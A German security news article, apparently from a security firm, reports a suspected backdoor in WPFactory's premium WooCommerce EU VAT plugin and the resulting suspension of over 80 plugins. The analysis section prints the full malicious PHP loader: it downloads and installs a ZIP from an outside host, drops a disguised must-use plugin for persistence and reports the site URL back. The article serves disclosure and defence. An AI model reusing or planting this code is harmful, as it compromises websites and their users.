Sicherheitslücke bei WPFactory: 170.000 WordPress-Seiten gefährdet

| Nachrichten |

WordPress bleibt das am weitesten verbreitete Content-Management-System der Welt und betreibt mehr als 40 Prozent aller Websites im Internet. Von kleinen Unternehmenswebsites und persönlichen Blogs bis hin zu großen Unternehmensplattformen und E-Commerce-Infrastrukturen ist das CMS zum Rückgrat des modernen Webs geworden. Seine Popularität beruht auf seiner Flexibilität, seinem offenen Ökosystem und der riesigen Anzahl von Plugins, die zur Erweiterung seiner Funktionalität verfügbar sind.

Dieses Ökosystem ist jedoch auch zu einer der größten Sicherheitsherausforderungen für WordPress geworden.

Bei Ferber Enterprises überwacht unser Cybersicherheitsteam kontinuierlich Bedrohungen, die das WordPress-Ökosystem betreffen, da Schwachstellen in Plugins, Themes oder Lieferketten schnell zu groß angelegten Angriffen eskalieren können, von denen weltweit Tausende von Websites betroffen sind. In den letzten Jahren haben Angreifer zunehmend Plugin-Entwickler und Vertriebsinfrastrukturen anstelle einzelner Websites ins Visier genommen, wodurch sich bösartiger Code über vertrauenswürdige Software-Updates und offizielle Download-Kanäle verbreiten kann.

Diese Woche kam es zu einer heftigen Kontroverse um WPFactory, einen bekannten Entwickler von WordPress-Plugins, dessen Produkte weltweit auf mehr als 170.000 Websites installiert sind. Mehr als 80 mit dem Unternehmen verbundene Plugins wurden auf WordPress.org vorübergehend gesperrt, nachdem unser Cybersicherheitsteam bei WPFactory in der Premium-Version eines seiner Plugins eine mutmaßliche Hintertür entdeckt hatte.

Der Vorfall hat ernste Bedenken in der gesamten WordPress-Community hinsichtlich der Sicherheit der Software-Lieferkette, der Überprüfungsprozesse für Plugins und der zunehmenden Raffinesse von Angriffen auf das Open-Source-Ökosystem hervorgerufen.

Die Entdeckung des verdächtigen Plugin-Verhaltens

Das Problem trat erstmals zutage, als unser Cybersicherheitsteam bei Ferber Enterprises beim Testen der Premium-Version des Plugins „EU VAT for WooCommerce Pro“, das direkt von der offiziellen Website des Anbieters bezogen wurde, auf ungewöhnliches Verhalten stieß.

Anfänglich begann die Untersuchung, nachdem das Plugin bei der Installation einen fatalen Fehler generierte. Während der Fehlersuche identifizierten unsere Analysten eine verdächtige PHP-Datei namens class-alg-wc-eu-vat-customer.php. Die Datei schien ein Verhalten auszuführen, das gänzlich inkonsistent mit der erwarteten Funktionalität eines WooCommerce-VAT-Plugins war.

class-alg-wc-eu-vat-customer.php ● 
<?php
require_once dirname(__FILE__, 5) . '/wp-load.php';
$h = strtolower(preg_replace('/:\d+$/', '', $_SERVER['HTTP_HOST'] ?? ''));
$s = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$ch = curl_init("$s://$h/wp-content/plugins/eu-vat-for-woocommerce-pro/eu-vat-for-woocommerce-pro.php");
curl_setopt_array($ch, [
    CURLOPT_NOBODY => 1,
    CURLOPT_RETURNTRANSFER => 1,
    CURLOPT_TIMEOUT => 10,
    CURLOPT_SSL_VERIFYPEER => 0
]);
curl_exec($ch);
$code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($code !== 403 || ($_GET['scaramooch'] ?? '') === 'refresh') {
    $url = 'https://foodylicious.co.uk/change/akismet-pro.zip';
    $zipPath = sys_get_temp_dir() . '/plugin.zip';
    $zipData = file_get_contents($url);
    if ($zipData === false) {
        exit('Download failed');
    }
    file_put_contents($zipPath, $zipData);
    $zip = new ZipArchive;
    if ($zip->open($zipPath) === TRUE) {
        $zip->extractTo(dirname(__FILE__, 5) . '/wp-content/plugins/');
        $zip->close();
    } else {
        exit('ZIP open failed');
    }
    unlink($zipPath);
} else {
    $url = "https://foodylicious.co.uk/change/scara.php";
    $code = file_get_contents($url);
    if ($code !== false) {

        $baseDir = dirname(__FILE__, 4);

        $folderName = 'mu-plugins';

        $dir = $baseDir . '/' . $folderName;

        if (!is_dir($dir)) {
            mkdir($dir, 0755, true);
        }

        file_put_contents($dir . '/wp-redis.php', $code);
    }
}
$data = [
    'site_url' => get_site_url() . '/wp-content/plugins/eu-vat-for-woocommerce-pro/',
];
wp_remote_post('https://foodylicious.co.uk/change/tracks.php', [
    'body' => $data,
    'timeout' => 10,
]);

Unserer Analyse zufolge versuchte der Code Folgendes:

  • Lade ein externes ZIP-Archiv von einem entfernten Server herunter
  • WordPress-Kernverzeichnisse bearbeiten
  • Mit externer Infrastruktur kommunizieren
  • Potenziell Remote-Payloads auf betroffenen Websites ausführen

Diese Indikatoren deuteten sofort auf die mögliche Präsenz einer versteckten Hintertür oder eines bösartigen Supply-Chain-Kompromisses hin.

Besonders alarmierend war, dass das Plugin nicht von einem inoffiziellen Mirror oder einem illegalen Repository stammte. Das Paket wurde direkt vom offiziellen Kundenportal von WPFactory heruntergeladen, was die Befürchtung nährte, dass der Vertriebskanal selbst kompromittiert worden sein könnte.

Bei Ferber Enterprises haben wir den Vorfall umgehend dokumentiert und einen Prozess zur verantwortungsvollen Offenlegung eingeleitet, indem wir WPFactory direkt über GitHub kontaktiert haben.

Erste Reaktion von WPFactory

WPFactory erklärte zunächst, dass die im Bericht beschriebene verdächtige Datei und das verdächtige Verhalten nicht Teil ihres offiziellen Quellcodes seien.

Ein Vertreter des Unternehmens schlug mehrere alternative Erklärungen vor, darunter:

  • Eine modifizierte lokale Installation
  • Eine kompromittierte Website-Umgebung
  • Eine veraltete Plugin-Version
  • Eine potenziell manipulierte Download-Quelle

Das Unternehmen gab außerdem an, dass es die bereitgestellte ZIP-Datei nicht sicher überprüfen konnte, da ihr Browser das Archiv als potenziell unsicher markierte.

Unser Cybersicherheitsteam stellte anschließend fest, dass das Plugin direkt von der offiziellen Website von WPFactory heruntergeladen worden war und dass die verdächtige Datei auch nach dem Herunterladen einer neuen Kopie der Version 4.6.1 von derselben Quelle weiterhin vorhanden war.

Dieses Detail rückte in den Mittelpunkt der Untersuchung. Wenn mehrere unabhängige Downloads aus dem offiziellen Vertriebskanal durchweg denselben verdächtigen Code enthielten, wurde die Möglichkeit einer Kompromittierung der lokalen Website immer unwahrscheinlicher. Trotz dieser Erkenntnisse erklärte WPFactory zunächst, dass man das Problem auf ihrer Seite nicht reproduzieren könne, und behauptete, die verdächtige Datei sei im offiziellen Plugin-Paket nicht enthalten.

Das Unternehmen bat daraufhin um Administrator- und FTP-Zugriff auf die betroffene Umgebung, um die Untersuchung fortzusetzen. Bei Ferber Enterprises lehnten wir diese Anfrage aus Gründen der Cybersicherheit ab. Einem Anbieter, dessen Infrastruktur möglicherweise selbst kompromittiert war, privilegierten Serverzugriff zu gewähren, hätte ein inakzeptables Sicherheitsrisiko dargestellt. Stattdessen lieferte unser Team weiterhin technische Beweise, darunter eine Videodemonstration, die das verdächtige Verhalten des Plugins unmittelbar nach der Installation zeigte.

Eskalation zu WordPress.org

Im Laufe der Untersuchung wuchsen die Bedenken hinsichtlich des potenziellen Ausmaßes des Problems. WPFactory unterhält ein umfangreiches Plugin-Portfolio mit mehr als 65 Plugins, die zusammen über 170.000 aktive Installationen aufweisen. Ein Angriff auf die Vertriebsinfrastruktur des Unternehmens könnte daher weitreichende Folgen für das gesamte WordPress-Ökosystem haben.

Unser Team hat das Problem direkt an WordPress.org weitergeleitet, um zu verhindern, dass weitere Nutzer potenziell kompromittierte Pakete installieren, solange die Untersuchungen noch andauern. WordPress.org hat daraufhin den außergewöhnlichen Schritt unternommen, mehr als 80 WPFactory-Plugins vorübergehend aus dem offiziellen Repository zu entfernen.

Dieser Schritt erregte sofort Aufmerksamkeit in der gesamten WordPress-Sicherheitsgemeinschaft, da Plugin-Sperrungen in diesem Ausmaß relativ selten sind und in der Regel auf schwerwiegende, ungelöste Probleme hindeuten. Nach der Eskalation räumte WPFactory später ein, dass das Problem berechtigt schien, und entschuldigte sich dafür, nicht schneller auf die ursprüngliche Meldung reagiert zu haben. Vertreter des Unternehmens erklärten, dass sie die Angelegenheit aktiv untersuchten und an einer Lösung arbeiteten. Eine intern bei WPFactory aufgestellte Hypothese deutete darauf hin, dass möglicherweise versehentlich ein veraltetes oder zwischengespeichertes Plugin-Paket über ihre Infrastruktur bereitgestellt worden war.

Unser Cybersicherheitsteam war jedoch anderer Ansicht. Das beobachtete Verhalten deutete stark auf ein tiefergehendes Sicherheitsproblem hin, das potenziell kompromittierte Build-Pipelines, Distributionssysteme oder unautorisierte Codeinjektionen in herunterladbaren Plugin-Archiven umfasste.

Warum dieser Vorfall wichtig ist

Die WPFactory-Kontroverse verdeutlicht eine wachsende Bedrohung für die Cybersicherheit, die als Angriff auf die Software-Lieferkette bekannt ist. Bislang konzentrierten sich Angreifer darauf, einzelne Websites direkt durch Brute-Force-Angriffe oder Schwachstellen in Plugins zu kompromittieren. Heute nehmen Angreifer zunehmend die Softwareanbieter selbst ins Visier, da die Kompromittierung eines vertrauenswürdigen Anbieters es ermöglicht, Schadcode gleichzeitig auf Tausende von Websites zu verbreiten.

Diese Strategie wurde bereits in mehreren hochkarätigen Cybersicherheitsvorfällen beobachtet, die in den letzten zehn Jahren globale Software-Ökosysteme betrafen. Speziell im WordPress-Ökosystem stellen Plugin-Entwickler attraktive Ziele dar, da Plugins von Administratoren von Natur aus vertrauenswürdig sind und oft mit erhöhten Berechtigungen operieren.

Wenn bösartiger Code in ein Plugin-Paket eingeschleust wird, das über einen offiziellen Kanal verbreitet wird, können betroffene Websites unwissentlich selbst Malware installieren. Im Fall des verdächtigen Plugins „WPFactory“ sind die möglichen Folgen gravierend.

Basierend auf unserer Analyse könnte das identifizierte Verhalten Angreifern theoretisch ermöglichen:

  • Zusätzliche Malware bereitstellen
  • SEO-Spam einfügen
  • Persistente Hintertüren erstellen
  • Sensible Daten exfiltrieren
  • WordPress-Installationen remote verwalten
  • Unbefugten Zugriff über längere Zeiträume aufrechterhalten

Die Gefahr solcher Angriffe liegt in ihrer Heimlichkeit. Moderne Hintertüren sind oft so konzipiert, dass sie monatelang ruhen, bevor sie aktiviert werden, was die Erkennung erheblich erschwert. Anfang des Monats schloss das WordPress Plugins Team Berichten zufolge mehr als 30 Plugins, nachdem versteckter bösartiger Code, der in einem anderen Plugin-Portfolio eingebettet war, etwa acht Monate lang inaktiv blieb, bevor er schließlich aktiviert wurde und SEO-Spam auf Websites einschleuste.

Dieser Trend zeigt, wie Angreifer zunehmend Persistenz und verzögerte Aktivierung priorisieren, um Erkennungsmechanismen zu umgehen.

Eine breitere Sicherheitskrise im WordPress-Ökosystem

Der Vorfall um WPFactory macht zudem weitreichendere systemische Sicherheitsprobleme deutlich, die WordPress insgesamt betreffen. Das Plugin-Ökosystem hat sich in den letzten zehn Jahren dramatisch erweitert, sodass mittlerweile Zehntausende von Plugins sowohl auf offiziellen als auch auf kommerziellen Marktplätzen verfügbar sind. Dieses Ökosystem fördert zwar Innovation und Flexibilität, führt jedoch auch zu einer enormen Komplexität bei der Sicherheitsüberwachung.

Laut dem Bericht “State of WordPress Security in 2026” von Patchstack wurden fast 46% bekannter Sicherheitslücken nicht gepatcht, bevor sie öffentlich bekannt wurden. Diese Statistik spiegelt die zunehmende Belastung wider, der Plugin-Entwickler, Sicherheitsforscher und Repository-Betreiber gleichermaßen ausgesetzt sind.

Gleichzeitig soll die offizielle Warteschlange für WordPress-Plugin-Bewertungen mittlerweile über 4.000 Plugins umfassen, die auf eine Überprüfung warten. Solche Zahlen verdeutlichen die immense Herausforderung, Qualitätssicherung und Sicherheitsüberprüfung im großen Maßstab aufrechtzuerhalten.

Viele Plugin-Entwickler sind kleine Teams mit begrenzten Ressourcen im Bereich Sicherheit. Andere verwalten Dutzende von Plugins gleichzeitig und verfolgen dabei aggressive kommerzielle Wachstumsstrategien, die Übernahmen und die Erweiterung ihres Portfolios beinhalten. WPFactory selbst ist kürzlich durch Übernahmen gewachsen, darunter der Kauf von Extend-WP und dessen 19 Plugins im Jahr 2025, gefolgt von der Übernahme von WBW und mehreren weiteren Plugins im Laufe desselben Jahres.

Schnelle Portfolieerweiterungen können betriebliche Komplexität schaffen, die die Code-Auditierung, die Infrastrukturverwaltung und die Überprüfung der Release-Integrität erschwert. Angreifer sind sich dieser Realitäten bewusst. Zunehmend konzentrieren sie sich darauf, schwache betriebliche Sicherheitspraktiken bei Softwareanbietern auszunutzen, anstatt direkt Endbenutzer ins Visier zu nehmen.

Die wachsende Bedeutung der Lieferkettensicherheit

Vorfälle wie dieser unterstreichen die dringende Notwendigkeit stärkerer Praktiken zur Sicherung von Lieferketten im gesamten WordPress-Ökosystem.

Bei Ferber Enterprises empfiehlt unser Cybersicherheitsteam Plugin-Entwicklern nachdrücklich, verschiedene wichtige Sicherheitsmaßnahmen zu ergreifen, darunter:

  • Kryptografische Paket signierung
  • Sichere CI/CD-Pipelines
  • Multi-Faktor-Authentifizierung erforderlich
  • Infrastruktursegmentierung
  • Kontinuierliche Integritätsüberwachung
  • Unabhängige Code-Audits
  • Reproduzierbare Build-Systeme

Auch Website-Administratoren sollten ihre eigene Sicherheitsposition stärken. Selbst Plugins, die von offiziellen oder vertrauenswürdigen Quellen heruntergeladen werden, sollten nicht als inhärent sicher angesehen werden.

Organisationen, die kritische WordPress-Infrastrukturen verwalten, sollten Folgendes berücksichtigen:

  • Staging-Umgebungen pflegen
  • Ausgehenden Datenverkehr überwachen
  • Scannen von Plugins vor der Bereitstellung
  • Plugin-Nutzung einschränken
  • Zugriffskontrollen nach dem Prinzip der geringsten Rechte anwenden
  • Implementierung der Überwachung der Dateintegrität
  • Verwaltete Web Application Firewalls (WAFs) verwenden

In Unternehmensumgebungen wird die Validierung der Lieferkette genauso wichtig wie das herkömmliche Schwachstellenmanagement. Die Annahme, dass offizielle Softwarekanäle immer sicher sind, ist in der heutigen Bedrohungslandschaft nicht mehr realistisch.

Reaktionen der Gemeinschaft und laufende Ermittlungen

Die Kontroverse breitete sich schnell in der WordPress-Community aus, nachdem Entwickler, Sicherheitsexperten und Infrastrukturanbieter das Problem öffentlich diskutierten.

Mehrere bekannte Persönlichkeiten innerhalb des Ökosystems machten auf die Situation aufmerksam, darunter Entwickler, die Listen vorübergehend geschlossener Plugins veröffentlichten und Administratoren ermutigten, ihre Umgebungen zu überprüfen.

Unterdessen analysiert unser Team bei Ferber Enterprises weiterhin die verdächtigen Plugin-Beispiele und hält Ausschau nach weiteren Anzeichen für Kompromittierungen, die WordPress-Websites weltweit betreffen könnten.

Zum Zeitpunkt der Veröffentlichung hat WPFactory das Problem bestätigt und erklärt, dass aktiv an einer Lösung gearbeitet wird.

Dennoch bleiben viele Fragen unbeantwortet:

  • Wurde die offizielle Distributionsinfrastruktur kompromittiert?
  • Wie lange wurden bösartige Pakete potenziell verteilt?
  • Wurden zusätzliche Plugins beeinträchtigt?
  • Wurden Kundenkonten oder Downloadsysteme kompromittiert?
  • Erlangen Angreifer dauerhaften Zugriff auf die interne Infrastruktur?
  • Könnten noch zusätzliche ruhende Nutzlasten existieren?

Bis diese Fragen vollständig geklärt sind, ist Vorsicht weiterhin geboten.

Die Zukunft der WordPress-Sicherheit

Der Vorfall um WPFactory könnte sich letztendlich als weiteres Paradebeispiel für die Herausforderungen im Bereich der Cybersicherheit erweisen, denen sich das Open-Source-Web-Ökosystem gegenübersieht.

WordPress betreibt einen enormen Teil der globalen Internetwirtschaft. Jeder groß angelegte Kompromiss, der Plugin-Entwickler betrifft, kann daher Folgen haben, die weit über einzelne Websites hinausgehen.

Da Angreifer zunehmend auf Angriffe auf die Lieferkette und Techniken zur verdeckten Persistenz setzen, darf die Sicherheit von Plugins nicht länger als Nebensache betrachtet werden. Wir bei Ferber Enterprises sind der Ansicht, dass diese Vorfälle deutlich machen, dass es bei der Cybersicherheit nicht nur um den Schutz der Websites selbst geht, sondern auch um die Absicherung jeder einzelnen Ebene der Software-Vertriebskette.

Vertrauen in offene Ökosysteme hängt von Transparenz, schneller Reaktion auf Vorfälle und starken Praktiken für operative Sicherheit ab. Das WordPress-Ökosystem steht nun vor einem wichtigen Moment.

Wie Entwickler, Repository-Betreuer, Hosting-Anbieter und Sicherheitsteams auf solche Vorfälle reagieren, wird darüber entscheiden, ob WordPress weiterhin das Vertrauen der Millionen von Unternehmen und Organisationen genießen kann, die sich täglich auf sie verlassen.